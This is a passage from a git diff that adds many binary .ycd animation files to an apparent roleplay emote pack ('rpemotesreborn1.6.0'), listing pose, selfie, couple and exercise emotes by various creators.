b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_09.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_10.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_10.ycd new file mode 100644 index 000000000..6b01c5a59 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_10.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_11.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_11.ycd new file mode 100644 index 000000000..1f7bfa28c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_11.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@finger_gun_pose.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@finger_gun_pose.ycd new file mode 100644 index 000000000..22a03ff1b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@finger_gun_pose.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@gentleman_style_male.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@gentleman_style_male.ycd new file mode 100644 index 000000000..295cb7c1d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@gentleman_style_male.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@helloween4_f.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@helloween4_f.ycd new file mode 100644 index 000000000..386118eb0 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@helloween4_f.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@leaf_friends_female.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@leaf_friends_female.ycd new file mode 100644 index 000000000..58b2deddb Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@leaf_friends_female.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@leaf_friends_male.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@leaf_friends_male.ycd new file mode 100644 index 000000000..d4a160787 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@leaf_friends_male.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@models_in_action.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@models_in_action.ycd new file mode 100644 index 000000000..3a8777357 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@models_in_action.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@phone_time_on_floor.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@phone_time_on_floor.ycd new file mode 100644 index 000000000..eaed2359c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@phone_time_on_floor.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@photo_session_posing.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@photo_session_posing.ycd new file mode 100644 index 000000000..dca5c4d7d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@photo_session_posing.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@photographic_journey_f.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@photographic_journey_f.ycd new file mode 100644 index 000000000..e6ecc2eff Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@photographic_journey_f.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@rain_dreamy_pose.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@rain_dreamy_pose.ycd new file mode 100644 index 000000000..8e104d3fb Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@rain_dreamy_pose.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@school_uniform_expression.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@school_uniform_expression.ycd new file mode 100644 index 000000000..3396b3e68 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@school_uniform_expression.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@selfie02_male.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@selfie02_male.ycd new file mode 100644 index 000000000..5c003a4ab Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@selfie02_male.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@thoughtful_man_m.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@thoughtful_man_m.ycd new file mode 100644 index 000000000..89d610fc3 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@thoughtful_man_m.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@tie_perfection_in_suit_male.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@tie_perfection_in_suit_male.ycd new file mode 100644 index 000000000..192f1a44e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@tie_perfection_in_suit_male.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@urban_posing.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@urban_posing.ycd new file mode 100644 index 000000000..970b6ca44 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@urban_posing.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p1.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p1.ycd new file mode 100644 index 000000000..9477de1d4 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p1.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p10.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p10.ycd new file mode 100644 index 000000000..e96cbf860 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p10.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p2.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p2.ycd new file mode 100644 index 000000000..8035fde83 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p2.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p3.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p3.ycd new file mode 100644 index 000000000..8b7e715b3 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p3.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p4.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p4.ycd new file mode 100644 index 000000000..a1babea43 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p4.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p5.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p5.ycd new file mode 100644 index 000000000..466b2ea4b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p5.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p6.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p6.ycd new file mode 100644 index 000000000..a45b307f8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p6.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p7.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p7.ycd new file mode 100644 index 000000000..558cd8a5b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p7.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p8.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p8.ycd new file mode 100644 index 000000000..b95e059ca Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p8.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p9.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p9.ycd new file mode 100644 index 000000000..8911e5c37 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Prue/lunyx@mic@p9.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freepose01.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freepose01.ycd new file mode 100644 index 000000000..682125ee7 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freepose01.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freepose02.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freepose02.ycd new file mode 100644 index 000000000..a22cb9623 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freepose02.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freepose03.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freepose03.ycd new file mode 100644 index 000000000..99eaf9110 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freepose03.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freepose04.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freepose04.ycd new file mode 100644 index 000000000..9b7262a64 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freepose04.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freeselfie01.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freeselfie01.ycd new file mode 100644 index 000000000..fb698585f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freeselfie01.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freeselfie02.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freeselfie02.ycd new file mode 100644 index 000000000..edbd7a675 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freeselfie02.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freeselfie03.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freeselfie03.ycd new file mode 100644 index 000000000..b3f0b899e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Pupppy/pupppy@freeselfie03.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/fuckyouselfie@queensisters.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/fuckyouselfie@queensisters.ycd new file mode 100644 index 000000000..c3a7593b6 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/fuckyouselfie@queensisters.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/handkylie@queensisters.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/handkylie@queensisters.ycd new file mode 100644 index 000000000..6b9a76a27 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/handkylie@queensisters.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/heartselfiemirror@queensisters.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/heartselfiemirror@queensisters.ycd new file mode 100644 index 000000000..ebc319776 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/heartselfiemirror@queensisters.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/selfiekilye@queensisters.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/selfiekilye@queensisters.ycd new file mode 100644 index 000000000..0fc6a663f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/selfiekilye@queensisters.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/sitdownonknees@queensisters.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/sitdownonknees@queensisters.ycd new file mode 100644 index 000000000..fc9498f6d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/sitdownonknees@queensisters.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/sitkylie@queensisters.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/sitkylie@queensisters.ycd new file mode 100644 index 000000000..8fee68f8a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/QueenSistersAnimations/sitkylie@queensisters.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_f@generic_idles@std.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_f@generic_idles@std.ycd new file mode 100644 index 000000000..353ad1818 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_f@generic_idles@std.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_m@generic_idles@std.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_m@generic_idles@std.ycd new file mode 100644 index 000000000..353ad1818 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_m@generic_idles@std.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_p_m_one_idles@generic.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_p_m_one_idles@generic.ycd new file mode 100644 index 000000000..353ad1818 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_p_m_one_idles@generic.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_p_m_two_idles@generic.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_p_m_two_idles@generic.ycd new file mode 100644 index 000000000..353ad1818 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_p_m_two_idles@generic.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_p_m_zero_idles@generic.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_p_m_zero_idles@generic.ycd new file mode 100644 index 000000000..353ad1818 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/RPEmotes/move_p_m_zero_idles@generic.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx@piggypack_a.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx@piggypack_a.ycd new file mode 100644 index 000000000..01c7eab63 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx@piggypack_a.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx@piggypack_b.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx@piggypack_b.ycd new file mode 100644 index 000000000..7af1b5941 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx@piggypack_b.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx@pose2.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx@pose2.ycd new file mode 100644 index 000000000..404162e4c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx@pose2.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_1_a.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_1_a.ycd new file mode 100644 index 000000000..09c4d47a1 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_1_a.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_1_b.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_1_b.ycd new file mode 100644 index 000000000..5898cabee Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_1_b.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_2_a.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_2_a.ycd new file mode 100644 index 000000000..2cc7752aa Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_2_a.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_2_b.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_2_b.ycd new file mode 100644 index 000000000..b12a51868 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_2_b.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_3_a.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_3_a.ycd new file mode 100644 index 000000000..c26c78f96 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_3_a.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_3_b.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_3_b.ycd new file mode 100644 index 000000000..e6c10a113 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_3_b.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_4_a.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_4_a.ycd new file mode 100644 index 000000000..ec22a856c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_4_a.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_4_b.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_4_b.ycd new file mode 100644 index 000000000..04a36e0a2 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SapphireMods/mx_couple5_4_b.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Soomey/sdrill@animation.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Soomey/sdrill@animation.ycd new file mode 100644 index 000000000..bf99c6527 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Soomey/sdrill@animation.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@air_squat.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@air_squat.ycd new file mode 100644 index 000000000..670a0728c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@air_squat.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@byc_crunch.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@byc_crunch.ycd new file mode 100644 index 000000000..9cf3e4602 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@byc_crunch.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_folded.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_folded.ycd new file mode 100644 index 000000000..29c92aef0 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_folded.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_forward.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_forward.ycd new file mode 100644 index 000000000..7a386af54 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_forward.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_laptop.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_laptop.ycd new file mode 100644 index 000000000..a61504d30 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_laptop.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_selfie.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_selfie.ycd new file mode 100644 index 000000000..64a72c991 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_selfie.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_tablet.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_tablet.ycd new file mode 100644 index 000000000..db79b7815 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_sitting_tablet.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_smart_sitting.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_smart_sitting.ycd new file mode 100644 index 000000000..44581f11d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_smart_sitting.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_smart_sitting_crossed.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_smart_sitting_crossed.ycd new file mode 100644 index 000000000..81ec8a93e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@female_smart_sitting_crossed.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@femalearmchair.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@femalearmchair.ycd new file mode 100644 index 000000000..d051a968e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@femalearmchair.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@jump_exc.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@jump_exc.ycd new file mode 100644 index 000000000..01146b063 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@jump_exc.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@jump_jack.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@jump_jack.ycd new file mode 100644 index 000000000..24fb2a2db Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@jump_jack.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@situp.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@situp.ycd new file mode 100644 index 000000000..2617b251e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/SourisEmotes/mouse@situp.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@egirl_1foot_selfie.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@egirl_1foot_selfie.ycd new file mode 100644 index 000000000..344d1a67f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@egirl_1foot_selfie.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_beach_booty_selfie.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_beach_booty_selfie.ycd new file mode 100644 index 000000000..0d346300f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_beach_booty_selfie.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_couple_01.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_couple_01.ycd new file mode 100644 index 000000000..57454192a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_couple_01.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_couple_03.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_couple_03.ycd new file mode 100644 index 000000000..984e25dd8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_couple_03.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_couple_03_b.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_couple_03_b.ycd new file mode 100644 index 000000000..73bf8141f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_couple_03_b.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_egirl_cute_selfie.ycd 